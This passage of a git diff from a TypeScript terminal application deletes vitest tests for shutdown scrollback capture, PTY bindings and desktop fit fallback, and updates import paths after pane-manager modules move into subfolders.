-      activeLeafId: LEAF_ID,
-      expandedLeafId: null,
-      buffersByLeafId: { [LEAF_ID]: `snapshot:queued-before-quit${CURSOR_HOME}` },
-      ptyIdsByLeafId: { [LEAF_ID]: 'pty-1' },
-      titlesByLeafId: { [LEAF_ID]: 'build logs' },
-      chatLeafId: LEAF_ID
-    })
-  })
-
-  it('skips local shutdown scrollback serialization while preserving layout metadata', async () => {
-    const { captureTerminalShutdownLayout } = await import('./terminal-shutdown-layout-capture')
-    const pane = {
-      id: 1,
-      leafId: LEAF_ID,
-      stablePaneId: LEAF_ID,
-      terminal: mockTerminal(50_000),
-      serializeAddon: {
-        serialize: vi.fn(() => 'x'.repeat(512 * 1024))
-      }
-    }
-    const manager = {
-      getPanes: vi.fn(() => [pane])
-    }
-
-    const layout = captureTerminalShutdownLayout({
-      manager: manager as never,
-      paneTransports: new Map([[1, { getPtyId: vi.fn(() => 'pty-1') }]]),
-      existingLayout: {
-        root: SINGLE_PANE_LAYOUT.root,
-        activeLeafId: null,
-        expandedLeafId: null,
-        titlesByLeafId: { [LEAF_ID]: 'local shell' },
-        buffersByLeafId: { [LEAF_ID]: 'previous-local-scrollback' }
-      },
-      captureBuffers: false
-    })
-
-    expect(mocks.flushTerminalOutput).not.toHaveBeenCalled()
-    expect(pane.serializeAddon.serialize).not.toHaveBeenCalled()
-    expect(layout.buffersByLeafId).toBeUndefined()
-    expect(layout.ptyIdsByLeafId).toEqual({ [LEAF_ID]: 'pty-1' })
-    expect(layout.titlesByLeafId).toEqual({ [LEAF_ID]: 'local shell' })
-  })
-
-  it('caps shutdown scrollback snapshots by UTF-8 bytes', async () => {
-    const { captureTerminalShutdownLayout } = await import('./terminal-shutdown-layout-capture')
-    const multibyteRow = 'é'.repeat(1024)
-    const pane = {
-      id: 1,
-      leafId: LEAF_ID,
-      stablePaneId: LEAF_ID,
-      terminal: mockTerminal(512),
-      serializeAddon: {
-        serialize: vi.fn((options?: { scrollback?: number }) =>
-          multibyteRow.repeat(options?.scrollback ?? 0)
-        )
-      }
-    }
-    const manager = {
-      getPanes: vi.fn(() => [pane])
-    }
-
-    const layout = captureTerminalShutdownLayout({
-      manager: manager as never,
-      paneTransports: new Map([[1, { getPtyId: vi.fn(() => 'pty-1') }]]),
-      existingLayout: SINGLE_PANE_LAYOUT
-    })
-
-    const buffer = layout.buffersByLeafId?.[LEAF_ID] ?? ''
-    expect(buffer.length).toBeGreaterThan(0)
-    expect(getUtf8ByteLength(buffer)).toBeLessThanOrEqual(
-      TERMINAL_SCROLLBACK_SESSION_BUFFER_BYTE_LIMIT
-    )
-    // UTF-8 rows plus cursor suffix must fit together, reducing available history by one row here.
-    const fittingRows = Math.floor(
-      (TERMINAL_SCROLLBACK_SESSION_BUFFER_BYTE_LIMIT - CURSOR_HOME.length) / 2048
-    )
-    expect(buffer).toHaveLength(fittingRows * 1024 + CURSOR_HOME.length)
-  })
-
-  it('bounds serialize probes while capping an oversized buffer by UTF-8 bytes', async () => {
-    const { captureTerminalShutdownLayout } = await import('./terminal-shutdown-layout-capture')
-    const multibyteRow = 'é'.repeat(1024)
-    const serialize = vi.fn((options?: { scrollback?: number }) =>
-      multibyteRow.repeat(options?.scrollback ?? 0)
-    )
-    const pane = {
-      id: 1,
-      leafId: LEAF_ID,
-      stablePaneId: LEAF_ID,
-      terminal: mockTerminal(512),
-      serializeAddon: { serialize }
-    }
-    const manager = {
-      getPanes: vi.fn(() => [pane])
-    }
-
-    const layout = captureTerminalShutdownLayout({
-      manager: manager as never,
-      paneTransports: new Map([[1, { getPtyId: vi.fn(() => 'pty-1') }]]),
-      existingLayout: SINGLE_PANE_LAYOUT
-    })
-
-    // Full pass plus at most MAX_SCROLLBACK_FIT_PROBES fit probes; a bisection took 10+.
-    expect(serialize.mock.calls.length).toBeLessThanOrEqual(5)
-    expect(getUtf8ByteLength(layout.buffersByLeafId?.[LEAF_ID] ?? '')).toBeLessThanOrEqual(
-      TERMINAL_SCROLLBACK_SESSION_BUFFER_BYTE_LIMIT
-    )
-  })
-
-  it('keeps most of the byte budget when dense recent rows sit above sparse scrollback', async () => {
-    const { captureTerminalShutdownLayout } = await import('./terminal-shutdown-layout-capture')
-    // Dense recent rows over sparse history defeat pure secant convergence; test nonuniform byte density.
-    const DENSE_ROWS = 1_000
-    const DENSE_ROW = 'x'.repeat(600)
-    const serialize = vi.fn((options?: { scrollback?: number }) => {
-      const rows = options?.scrollback ?? 0
-      const dense = Math.min(rows, DENSE_ROWS)
-      return '.'.repeat(Math.max(rows - DENSE_ROWS, 0)) + DENSE_ROW.repeat(dense)
-    })
-    const pane = {
-      id: 1,
-      leafId: LEAF_ID,
-      stablePaneId: LEAF_ID,
-      terminal: mockTerminal(5_000),
-      serializeAddon: { serialize }
-    }
-    const manager = {
-      getPanes: vi.fn(() => [pane])
-    }
-
-    const layout = captureTerminalShutdownLayout({
-      manager: manager as never,
-      paneTransports: new Map([[1, { getPtyId: vi.fn(() => 'pty-1') }]]),
-      existingLayout: SINGLE_PANE_LAYOUT
-    })
-
-    const bytes = getUtf8ByteLength(layout.buffersByLeafId?.[LEAF_ID] ?? '')
-    expect(bytes).toBeLessThanOrEqual(TERMINAL_SCROLLBACK_SESSION_BUFFER_BYTE_LIMIT)
-    expect(bytes).toBeGreaterThan(TERMINAL_SCROLLBACK_SESSION_BUFFER_BYTE_LIMIT * 0.9)
-    expect(serialize.mock.calls.length).toBeLessThanOrEqual(5)
-  })
-
-  it('does not preserve prior scrollback buffers or refs for a cleared leaf', async () => {
-    const { captureTerminalShutdownLayout } = await import('./terminal-shutdown-layout-capture')
-    const pane = {
-      id: 1,
-      leafId: LEAF_ID,
-      stablePaneId: LEAF_ID,
-      terminal: mockTerminal(1_000),
-      serializeAddon: {
-        serialize: vi.fn(() => '')
-      }
-    }
-    const manager = {
-      getPanes: vi.fn(() => [pane])
-    }
-
-    const layout = captureTerminalShutdownLayout({
-      manager: manager as never,
-      paneTransports: new Map([[1, { getPtyId: vi.fn(() => 'pty-1') }]]),
-      existingLayout: {
-        root: SINGLE_PANE_LAYOUT.root,
-        activeLeafId: null,
-        expandedLeafId: null,
-        titlesByLeafId: { [LEAF_ID]: 'local shell' },
-        buffersByLeafId: { [LEAF_ID]: 'previous-scrollback' },
-        scrollbackRefsByLeafId: { [LEAF_ID]: 'v1-previous' }
-      },
-      clearedScrollbackLeafIds: new Set([LEAF_ID])
-    })
-
-    expect(layout.buffersByLeafId).toBeUndefined()
-    expect(layout.scrollbackRefsByLeafId).toBeUndefined()
-    expect(layout.ptyIdsByLeafId).toEqual({ [LEAF_ID]: 'pty-1' })
-    expect(layout.titlesByLeafId).toEqual({ [LEAF_ID]: 'local shell' })
-  })
-
-  it('does not preserve stale prior PTY bindings as shutdown focus targets', async () => {
-    const { captureTerminalShutdownLayout } = await import('./terminal-shutdown-layout-capture')
-    const deadPane = {
-      id: 1,
-      leafId: LEAF_ID,
-      stablePaneId: LEAF_ID,
-      terminal: mockTerminal(1_000),
-      serializeAddon: {
-        serialize: vi.fn(() => 'dead scrollback')
-      }
-    }
-    const livePane = {
-      id: 2,
-      leafId: LEAF_ID_2,
-      stablePaneId: LEAF_ID_2,
-      terminal: mockTerminal(1_000),
-      serializeAddon: {
-        serialize: vi.fn(() => 'live scrollback')
-      }
-    }
-    const manager = {
-      getPanes: vi.fn(() => [deadPane, livePane])
-    }
-
-    const layout = captureTerminalShutdownLayout({
-      manager: manager as never,
-      paneTransports: new Map([[2, { getPtyId: vi.fn(() => 'pty-live') }]]),
-      existingLayout: {
-        root: SPLIT_ROOT,
-        activeLeafId: LEAF_ID,
-        expandedLeafId: null,
-        ptyIdsByLeafId: { [LEAF_ID]: 'pty-stale', [LEAF_ID_2]: 'pty-live' }
-      }
-    })
-
-    expect(layout.activeLeafId).toBe(LEAF_ID_2)
-    expect(layout.ptyIdsByLeafId).toEqual({ [LEAF_ID_2]: 'pty-live' })
-    expect(layout.buffersByLeafId).toEqual({
-      [LEAF_ID]: `dead scrollback${CURSOR_HOME}`,
-      [LEAF_ID_2]: `live scrollback${CURSOR_HOME}`
-    })
-  })
-
-  it('preserves prior PTY bindings while current pane transports are still attaching', async () => {
-    const { captureTerminalShutdownLayout } = await import('./terminal-shutdown-layout-capture')
-    const firstPane = {
-      id: 1,
-      leafId: LEAF_ID,
-      stablePaneId: LEAF_ID,
-      terminal: mockTerminal(1_000),
-      serializeAddon: {
-        serialize: vi.fn(() => 'first scrollback')
-      }
-    }
-    const secondPane = {
-      id: 2,
-      leafId: LEAF_ID_2,
-      stablePaneId: LEAF_ID_2,
-      terminal: mockTerminal(1_000),
-      serializeAddon: {
-        serialize: vi.fn(() => 'second scrollback')
-      }
-    }
-    const manager = {
-      getPanes: vi.fn(() => [firstPane, secondPane])
-    }
-
-    const layout = captureTerminalShutdownLayout({
-      manager: manager as never,
-      paneTransports: new Map([
-        [1, { getPtyId: vi.fn(() => null) }],
-        [2, { getPtyId: vi.fn(() => null) }]
-      ]),
-      existingLayout: {
-        root: SPLIT_ROOT,
-        activeLeafId: LEAF_ID_2,
-        expandedLeafId: null,
-        ptyIdsByLeafId: { [LEAF_ID]: 'pty-first', [LEAF_ID_2]: 'pty-second' }
-      }
-    })
-
-    expect(layout.activeLeafId).toBe(LEAF_ID_2)
-    expect(layout.ptyIdsByLeafId).toEqual({
-      [LEAF_ID]: 'pty-first',
-      [LEAF_ID_2]: 'pty-second'
-    })
-  })
-
-  it('does not persist a no-PTY pane as active when another split pane is bound', async () => {
-    const { captureTerminalShutdownLayout } = await import('./terminal-shutdown-layout-capture')
-    const paneWithoutPty = {
-      id: 1,
-      leafId: LEAF_ID,
-      stablePaneId: LEAF_ID,
-      terminal: mockTerminal(1_000),
-      serializeAddon: {
-        serialize: vi.fn(() => '')
-      }
-    }
-    const paneWithPty = {
-      id: 2,
-      leafId: LEAF_ID_2,
-      stablePaneId: LEAF_ID_2,
-      terminal: mockTerminal(1_000),
-      serializeAddon: {
-        serialize: vi.fn(() => '')
-      }
-    }
-    const manager = {
-      getPanes: vi.fn(() => [paneWithoutPty, paneWithPty])
-    }
-
-    const layout = captureTerminalShutdownLayout({
-      manager: manager as never,
-      paneTransports: new Map([[2, { getPtyId: vi.fn(() => 'pty-2') }]]),
-      existingLayout: { root: SPLIT_ROOT, activeLeafId: LEAF_ID, expandedLeafId: null }
-    })
-
-    expect(layout.activeLeafId).toBe(LEAF_ID_2)
-    expect(layout.ptyIdsByLeafId).toEqual({ [LEAF_ID_2]: 'pty-2' })
-  })
-
-  it('does not preserve a stale prior PTY binding for active shutdown focus', async () => {
-    const { captureTerminalShutdownLayout } = await import('./terminal-shutdown-layout-capture')
-    const paneWithoutPty = {
-      id: 1,
-      leafId: LEAF_ID,
-      stablePaneId: LEAF_ID,
-      terminal: mockTerminal(1_000),
-      serializeAddon: {
-        serialize: vi.fn(() => '')
-      }
-    }
-    const paneWithPty = {
-      id: 2,
-      leafId: LEAF_ID_2,
-      stablePaneId: LEAF_ID_2,
-      terminal: mockTerminal(1_000),
-      serializeAddon: {
-        serialize: vi.fn(() => '')
-      }
-    }
-    const manager = {
-      getPanes: vi.fn(() => [paneWithoutPty, paneWithPty])
-    }
-
-    const layout = captureTerminalShutdownLayout({
-      manager: manager as never,
-      paneTransports: new Map([[2, { getPtyId: vi.fn(() => 'pty-2') }]]),
-      existingLayout: {
-        root: SPLIT_ROOT,
-        activeLeafId: LEAF_ID,
-        expandedLeafId: null,
-        ptyIdsByLeafId: { [LEAF_ID]: 'stale-pty', [LEAF_ID_2]: 'pty-2' }
-      }
-    })
-
-    expect(layout.activeLeafId).toBe(LEAF_ID_2)
-    expect(layout.ptyIdsByLeafId).toEqual({ [LEAF_ID_2]: 'pty-2' })
-  })
-  it('keeps the stored structure instead of rebuilding it from the panes', async () => {
-    const { captureTerminalShutdownLayout } = await import('./terminal-shutdown-layout-capture')
-    const panes = [LEAF_ID, LEAF_ID_2].map((leafId, index) => ({
-      id: index + 1,
-      leafId,
-      stablePaneId: leafId,
-      terminal: mockTerminal(1_000),
-      serializeAddon: { serialize: vi.fn(() => '') }
-    }))
-    const existingLayout: TerminalLayoutSnapshot = {
-      root: {
-        type: 'split',
-        direction: 'horizontal',
-        first: { type: 'leaf', leafId: LEAF_ID },
-        second: { type: 'leaf', leafId: LEAF_ID_2 },
-        ratio: 0.3
-      },
-      activeLeafId: LEAF_ID_2,
-      expandedLeafId: LEAF_ID_2,
-      titlesByLeafId: { [LEAF_ID]: 'server' }
-    }
-
-    const layout = captureTerminalShutdownLayout({
-      // oxlint-disable-next-line typescript/consistent-type-assertions -- SAFETY: the capture reads only the mocked pane fields.
-      manager: { getPanes: () => panes } as never,
-      paneTransports: new Map([
-        [1, { getPtyId: () => 'pty-1' }],
-        [2, { getPtyId: () => 'pty-2' }]
-      ]),
-      existingLayout
-    })
-
-    expect(layout).toEqual({
-      ...existingLayout,
-      ptyIdsByLeafId: { [LEAF_ID]: 'pty-1', [LEAF_ID_2]: 'pty-2' }
-    })
-  })
-  it('keeps the buffer and binding of a stored leaf whose pane is not mounted yet', async () => {
-    const { captureTerminalShutdownLayout } = await import('./terminal-shutdown-layout-capture')
-    const pane = {
-      id: 1,
-      leafId: LEAF_ID,
-      stablePaneId: LEAF_ID,
-      terminal: mockTerminal(1_000),
-      serializeAddon: { serialize: vi.fn(() => 'mounted scrollback') }
-    }
-
-    const layout = captureTerminalShutdownLayout({
-      // oxlint-disable-next-line typescript/consistent-type-assertions -- SAFETY: the capture reads only the mocked pane fields.
-      manager: { getPanes: () => [pane] } as never,
-      paneTransports: new Map([[1, { getPtyId: () => 'pty-1' }]]),
-      existingLayout: {
-        root: SPLIT_ROOT,
-        activeLeafId: LEAF_ID,
-        expandedLeafId: null,
-        ptyIdsByLeafId: { [LEAF_ID]: 'pty-1', [LEAF_ID_2]: 'pty-2' },
-        buffersByLeafId: { [LEAF_ID_2]: 'unmounted scrollback' },
-        scrollbackRefsByLeafId: { [LEAF_ID_2]: 'v1-unmounted' }
-      }
-    })
-
-    expect(layout.root).toEqual(SPLIT_ROOT)
-    expect(layout.buffersByLeafId).toEqual({
-      [LEAF_ID]: `mounted scrollback${CURSOR_HOME}`,
-      [LEAF_ID_2]: 'unmounted scrollback'
-    })
-    expect(layout.scrollbackRefsByLeafId).toEqual({ [LEAF_ID_2]: 'v1-unmounted' })
-    expect(layout.ptyIdsByLeafId).toEqual({ [LEAF_ID]: 'pty-1', [LEAF_ID_2]: 'pty-2' })
-  })
-})
diff --git a/src/renderer/src/components/terminal-pane/snapshots/terminal-shutdown-layout-capture.ts b/src/renderer/src/components/terminal-pane/snapshots/terminal-shutdown-layout-capture.ts
index 6a08c0c8dcf..4709269bbca 100644
--- a/src/renderer/src/components/terminal-pane/snapshots/terminal-shutdown-layout-capture.ts
+++ b/src/renderer/src/components/terminal-pane/snapshots/terminal-shutdown-layout-capture.ts
@@ -1,7 +1,7 @@
 import type { TerminalLayoutSnapshot } from '../../../../../shared/workspace-layout/terminal-tab-types'
 import type { ManagedPane } from '@/lib/pane-manager/pane-manager-types'
 import type { PtyTransport } from '../pty-transport/pty-transport-types'
-import { flushTerminalOutput } from '@/lib/pane-manager/pane-terminal-output-scheduler'
+import { flushTerminalOutput } from '@/lib/pane-manager/terminal-output/pane-terminal-output-scheduler'
 import { mergeCapturedLeafState } from './merge-captured-leaf-state'
 import { collectLeafIds } from '../../../../../shared/workspace-layout/terminal-pane-layout-tree'
 import { resolveTerminalLayoutActiveLeafId } from '../layout/ownership/terminal-layout-active-leaf'
diff --git a/src/renderer/src/components/terminal-pane/snapshots/terminal-snapshot-replay-paint.ts b/src/renderer/src/components/terminal-pane/snapshots/terminal-snapshot-replay-paint.ts
index 260ac65eb44..181d2c2a98b 100644
--- a/src/renderer/src/components/terminal-pane/snapshots/terminal-snapshot-replay-paint.ts
+++ b/src/renderer/src/components/terminal-pane/snapshots/terminal-snapshot-replay-paint.ts
@@ -1,5 +1,5 @@
 import type { ManagedPane } from '@/lib/pane-manager/pane-manager-types'
-import { readProposedPaneFitDimensions } from '@/lib/pane-manager/pane-fit'
+import { readProposedPaneFitDimensions } from '@/lib/pane-manager/terminal-fit/pane-fit'
 import {
   ABORT_TRUNCATED_CONTROL_STRING,
   buildSnapshotReplayPrologue
diff --git a/src/renderer/src/components/terminal-pane/snapshots/use-pane-scrollback-clear.ts b/src/renderer/src/components/terminal-pane/snapshots/use-pane-scrollback-clear.ts
index a36c6433aed..88715fc3d7e 100644
--- a/src/renderer/src/components/terminal-pane/snapshots/use-pane-scrollback-clear.ts
+++ b/src/renderer/src/components/terminal-pane/snapshots/use-pane-scrollback-clear.ts
@@ -1,6 +1,6 @@
 import { useCallback } from 'react'
 import type { ManagedPane } from '@/lib/pane-manager/pane-manager-types'
-import { clearTerminalScrollbackAndFollowOutput } from '@/lib/pane-manager/terminal-scrollback-clear'
+import { clearTerminalScrollbackAndFollowOutput } from '@/lib/pane-manager/terminal-scroll/terminal-scrollback-clear'
 import { clearWebRuntimeTerminalBuffer } from '@/runtime/hosted-terminals/actions/web-runtime-terminal-buffer-actions'
 import type { TerminalPaneStartupController } from '../controller/use-terminal-pane-startup-actions'
 
diff --git a/src/renderer/src/components/terminal-pane/viewport/desktop-fit-fallback.test.ts b/src/renderer/src/components/terminal-pane/viewport/desktop-fit-fallback.test.ts
deleted file mode 100644
index ebaaa3ba8ac..00000000000
--- a/src/renderer/src/components/terminal-pane/viewport/desktop-fit-fallback.test.ts
+++ /dev/null
@@ -1,147 +0,0 @@
-import { describe, expect, it, vi } from 'vitest'
-import {
-  applyDesktopFitFallbackAfterReplay,
-  fitAndRefreshDesktopPane
-} from './desktop-fit-fallback'
-import {
-  beginTerminalScrollIntentBufferRebuild,
-  endTerminalScrollIntentBufferRebuild
-} from '@/lib/pane-manager/terminal-scroll-intent-rebuild'
-
-function createPane(options: { proposed?: { cols: number; rows: number }; paused?: boolean } = {}) {
-  let paintedGrid: { cols: number; rows: number } | null = null
-  const renderService = {
-    _isPaused: options.paused ?? false,
-    _needsFullRefresh: options.paused ?? false,
-    refreshRows: () => {
-      if (!renderService._isPaused) {
-        paintedGrid = { cols: terminal.cols, rows: terminal.rows }
-      }
-    }
-  }
-  const terminal = {
-    cols: 49,
-    rows: 20,
-    _core: { _renderService: renderService },
-    refresh: () => renderService.refreshRows(),
-    buffer: { active: { type: 'normal', viewportY: 0, baseY: 0 } },
-    resize: vi.fn((cols: number, rows: number) => {
-      terminal.cols = cols
-      terminal.rows = rows
-    })
-  }
-  return {
-    get paintedGrid() {
-      return paintedGrid
-    },
-    terminal,
-    container: {
-      dataset: {},
-      getBoundingClientRect: vi.fn(() => ({ width: 800, height: 600 }))
-    },
-    fitAddon: {
-      proposeDimensions: vi.fn(() => options.proposed ?? null),
-      fit: vi.fn(() => {
-        if (options.proposed) {
-          terminal.resize(options.proposed.cols, options.proposed.rows)
-        }
-      })
-    }
-  }
-}
-
-describe('desktop fit fallback', () => {
-  it('waits until structural replay completes before direct resize', async () => {
-    const pane = createPane()
-    beginTerminalScrollIntentBufferRebuild(pane.terminal)
-
-    // oxlint-disable-next-line typescript/consistent-type-assertions -- SAFETY: the fixture supplies the pane members read by safeFit and repaint.
-    applyDesktopFitFallbackAfterReplay(pane as never, {
-      cols: 120,
-      rows: 40,
-      priorCols: 49,
-      priorRows: 20
-    })
-    expect(pane.terminal.resize).not.toHaveBeenCalled()
-    expect(pane.paintedGrid).toBeNull()
-
-    endTerminalScrollIntentBufferRebuild(pane.terminal)
-    await Promise.resolve()
-    expect(pane.terminal.resize).toHaveBeenCalledWith(120, 40)
-    expect(pane.paintedGrid).toEqual({ cols: 120, rows: 40 })
-  })
-
-  it('drops deferred dimensions when the pane binding becomes stale', async () => {
-    const pane = createPane()
-    let isCurrent = true
-    beginTerminalScrollIntentBufferRebuild(pane.terminal)
-    // oxlint-disable-next-line typescript/consistent-type-assertions -- SAFETY: the fixture supplies the pane members read by safeFit and repaint.
-    applyDesktopFitFallbackAfterReplay(pane as never, {
-      cols: 120,
-      rows: 40,
-      priorCols: 49,
-      priorRows: 20,
-      shouldApply: () => isCurrent
-    })
-
-    isCurrent = false
-    endTerminalScrollIntentBufferRebuild(pane.terminal)
-    await Promise.resolve()
-    expect(pane.terminal.resize).not.toHaveBeenCalled()
-    expect(pane.paintedGrid).toBeNull()
-  })
-
-  it('does not apply deferred desktop geometry after the pane becomes hidden', async () => {
-    const pane = createPane({ paused: true })
-    beginTerminalScrollIntentBufferRebuild(pane.terminal)
-    // oxlint-disable-next-line typescript/consistent-type-assertions -- SAFETY: the fixture supplies the pane members read by safeFit and repaint.
-    applyDesktopFitFallbackAfterReplay(pane as never, {
-      cols: 120,
-      rows: 40,
-      priorCols: 49,
-      priorRows: 20
-    })
-    pane.container.getBoundingClientRect.mockReturnValue({ width: 0, height: 0 })
-    endTerminalScrollIntentBufferRebuild(pane.terminal)
-    await Promise.resolve()
-    expect(pane.terminal.resize).not.toHaveBeenCalled()
-    expect(pane.paintedGrid).toBeNull()
-    expect(pane.terminal._core._renderService._isPaused).toBe(true)
-  })
-})
-
-describe('desktop fit presentation', () => {
-  it('presents unchanged geometry through a paused renderer without waiting for scroll', () => {
-    const pane = createPane({ proposed: { cols: 49, rows: 20 }, paused: true })
-    // oxlint-disable-next-line typescript/consistent-type-assertions -- SAFETY: the fixture supplies the pane members read by safeFit and repaint.
-    fitAndRefreshDesktopPane(pane as never, () => true)
-    expect(pane.terminal.resize).not.toHaveBeenCalled()
-    expect(pane.paintedGrid).toEqual({ cols: 49, rows: 20 })
-    expect(pane.terminal._core._renderService._isPaused).toBe(false)
-  })
-
-  it('presents only the final desktop grid after structural replay', async () => {
-    const pane = createPane({ proposed: { cols: 120, rows: 40 }, paused: true })
-    beginTerminalScrollIntentBufferRebuild(pane.terminal)
-    // oxlint-disable-next-line typescript/consistent-type-assertions -- SAFETY: the fixture supplies the pane members read by safeFit and repaint.
-    fitAndRefreshDesktopPane(pane as never, () => true)
-    expect(pane.paintedGrid).toBeNull()
-    expect(pane.terminal.cols).toBe(49)
-    endTerminalScrollIntentBufferRebuild(pane.terminal)
-    await Promise.resolve()
-    expect(pane.paintedGrid).toEqual({ cols: 120, rows: 40 })
-  })
-
-  it('does not present a restore retired during replay', async () => {
-    const pane = createPane({ proposed: { cols: 120, rows: 40 }, paused: true })
-    let current = true
-    beginTerminalScrollIntentBufferRebuild(pane.terminal)
-    // oxlint-disable-next-line typescript/consistent-type-assertions -- SAFETY: the fixture supplies the pane members read by safeFit and repaint.
-    fitAndRefreshDesktopPane(pane as never, () => current)
-    current = false
-    endTerminalScrollIntentBufferRebuild(pane.terminal)
-    await Promise.resolve()
-    expect(pane.paintedGrid).toBeNull()
-    expect(pane.terminal.cols).toBe(49)
-  })
-})
diff --git a/src/renderer/src/components/terminal-pane/viewport/desktop-fit-fallback.ts b/src/renderer/src/components/terminal-pane/viewport/desktop-fit-fallback.ts
index 53af7c4f288..38772a27d97 100644
--- a/src/renderer/src/components/terminal-pane/viewport/desktop-fit-fallback.ts
+++ b/src/renderer/src/components/terminal-pane/viewport/desktop-fit-fallback.ts
@@ -1,7 +1,7 @@
 import type { ManagedPane } from '@/lib/pane-manager/pane-manager-types'
-import { safeFit, safeFitAndThen } from '@/lib/pane-manager/pane-fit'
-import { requestFullViewportPresent } from '@/lib/pane-manager/terminal-render-pause-release'
-import { deferTerminalGeometryMutationDuringRebuild } from '@/lib/pane-manager/terminal-scroll-intent-rebuild'
+import { safeFit, safeFitAndThen } from '@/lib/pane-manager/terminal-fit/pane-fit'
+import { requestFullViewportPresent } from '@/lib/pane-manager/terminal-rendering/terminal-render-pause-release'
+import { deferTerminalGeometryMutationDuringRebuild } from '@/lib/pane-manager/terminal-scroll/terminal-scroll-intent-rebuild'
 
 type DesktopFitFallbackDimensions = {
   cols: number
diff --git a/src/renderer/src/components/terminal-pane/viewport/remote-desktop-viewport-claim.ts b/src/renderer/src/components/terminal-pane/viewport/remote-desktop-viewport-claim.ts
index bb057d0b5b5..09417e6097f 100644
--- a/src/renderer/src/components/terminal-pane/viewport/remote-desktop-viewport-claim.ts
+++ b/src/renderer/src/components/terminal-pane/viewport/remote-desktop-viewport-claim.ts
@@ -1,4 +1,4 @@
-import type { FitHoldMode } from '@/lib/pane-manager/mobile-fit-overrides'
+import type { FitHoldMode } from '@/lib/pane-manager/terminal-fit/mobile-fit-overrides'
 
 type TerminalGrid = { cols: number; rows: number }
 
diff --git a/src/renderer/src/components/terminal-pane/viewport/use-mobile-terminal-fit-actions.ts b/src/renderer/src/components/terminal-pane/viewport/use-mobile-terminal-fit-actions.ts
index 123070006a3..23a2e965040 100644
--- a/src/renderer/src/components/terminal-pane/viewport/use-mobile-terminal-fit-actions.ts
+++ b/src/renderer/src/components/terminal-pane/viewport/use-mobile-terminal-fit-actions.ts
@@ -1,6 +1,6 @@
 import { useCallback } from 'react'
 import type { ManagedPane } from '@/lib/pane-manager/pane-manager-types'
-import { getMobileFitOverridePtyIds } from '@/lib/pane-manager/mobile-fit-overrides'
+import { getMobileFitOverridePtyIds } from '@/lib/pane-manager/terminal-fit/mobile-fit-overrides'
 import { getAllDrivers } from '@/lib/pane-manager/mobile-driver-state'
 import { refitAndRefreshAllTerminalPanes } from '@/lib/pane-manager/pane-manager-registry'
 import { restoreTerminalFitToDesktop, restoreTerminalFitsToDesktop } from './terminal-fit-restore'
diff --git a/src/renderer/src/components/terminal-pane/viewport/use-web-client-terminal-resize.ts b/src/renderer/src/components/terminal-pane/viewport/use-web-client-terminal-resize.ts
index 5c0bf3df304..ca6a4426046 100644
--- a/src/renderer/src/components/terminal-pane/viewport/use-web-client-terminal-resize.ts
+++ b/src/renderer/src/components/terminal-pane/viewport/use-web-client-terminal-resize.ts
@@ -1,6 +1,6 @@
 import { useEffect } from 'react'
-import { safeFitAndThen } from '@/lib/pane-manager/pane-fit'
-import { getFitOverrideForPty } from '@/lib/pane-manager/mobile-fit-overrides'
+import { safeFitAndThen } from '@/lib/pane-manager/terminal-fit/pane-fit'
+import { getFitOverrideForPty } from '@/lib/pane-manager/terminal-fit/mobile-fit-overrides'
 import { isPtyLocked } from '@/lib/pane-manager/mobile-driver-state'
 import type { PaneManager } from '@/lib/pane-manager/pane-manager'
 import type { PtyTransport } from '../pty-transport/pty-transport-types'
diff --git a/src/renderer/src/components/terminal-pane/viewport/visibility/terminal-visibility-resume.test.ts b/src/renderer/src/components/terminal-pane/viewport/visibility/terminal-visibility-resume.test.ts
deleted file mode 100644
index ef01fdeb875..00000000000
--- a/src/renderer/src/components/terminal-pane/viewport/visibility/terminal-visibility-resume.test.ts
+++ /dev/null
@@ -1,423 +0,0 @@
-import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest'
-import type { PaneManager } from '@/lib/pane-manager/pane-manager'
-import {
-  recoverVisibleTerminalWindowWake,
-  resumeTerminalVisibility
-} from './terminal-visibility-resume'
-
-vi.mock('@/lib/pane-manager/pane-manager-registry', () => ({
-  resetAndRefreshAllTerminalWebglAtlases: vi.fn()
-}))
-const presentPaneViewport = vi.fn()
-vi.mock('@/lib/pane-manager/pane-viewport-present', () => ({
-  presentPaneViewport: (pane: unknown) => presentPaneViewport(pane)
-}))
-vi.mock('@/lib/pane-manager/pane-terminal-output-scheduler', () => ({
-  flushTerminalOutput: vi.fn(),
-  requestTerminalBacklogRecovery: vi.fn()
-}))
-vi.mock('@/lib/pane-manager/terminal-scroll-intent', () => ({
-  enforceTerminalCurrentScrollIntent: vi.fn(),
-  syncTerminalScrollIntentFromViewport: vi.fn()
-}))
-vi.mock('../mounted-pane-fit', () => ({
-  fitAndFocusPanes: vi.fn(),
-  fitPanes: vi.fn()
-}))
-vi.mock('../../input/focus/mounted-pane-focus', () => ({
-  focusActivePane: vi.fn()
-}))
-const flushDeferredPaneMetricOptionsIfMeasurable = vi.fn((_pane: unknown) => false)
-vi.mock('@/lib/pane-manager/pane-fit-measurability', () => ({
-  flushDeferredPaneMetricOptionsIfMeasurable: (pane: unknown) =>
-    flushDeferredPaneMetricOptionsIfMeasurable(pane)
-}))
-const repairPaneWebglCanvasDprMismatch = vi.fn((_pane: unknown) => false)
-vi.mock('@/lib/pane-manager/terminal-canvas-dpr-repair', () => ({
-  repairPaneWebglCanvasDprMismatch: (pane: unknown) => repairPaneWebglCanvasDprMismatch(pane)
-}))
-const resetTerminalLinkifierHoverState = vi.fn()
-const isTerminalLinkifierHoverActive = vi.fn((_terminal: unknown) => false)
-vi.mock('@/lib/pane-manager/terminal-linkifier-hover-reset', () => ({
-  resetTerminalLinkifierHoverState: (terminal: unknown) =>
-    resetTerminalLinkifierHoverState(terminal),
-  isTerminalLinkifierHoverActive: (terminal: unknown) => isTerminalLinkifierHoverActive(terminal)
-}))
-
-type FakeManager = {
-  getPanes: ReturnType<typeof vi.fn>
-  resumeRendering: ReturnType<typeof vi.fn>
-  scheduleRevealRepaint: ReturnType<typeof vi.fn>
-  scheduleRevealPresent: ReturnType<typeof vi.fn>
-  fitAllPanes: ReturnType<typeof vi.fn>
-  fitAllRevealedPanes: ReturnType<typeof vi.fn>
-}
-
-function createManager(order: string[] = []): FakeManager {
-  return {
-    getPanes: vi.fn(() => []),
-    resumeRendering: vi.fn(() => order.push('resume-rendering')),
-    scheduleRevealRepaint: vi.fn(() => order.push('reveal-repaint')),
-    scheduleRevealPresent: vi.fn(() => order.push('reveal-present')),
-    // Stubbed to assert reveals route through fitAllRevealedPanes, never fitAllPanes.
-    fitAllPanes: vi.fn(() => order.push('fit-sync')),
-    fitAllRevealedPanes: vi.fn(() => order.push('fit-reveal'))
-  }
-}
-
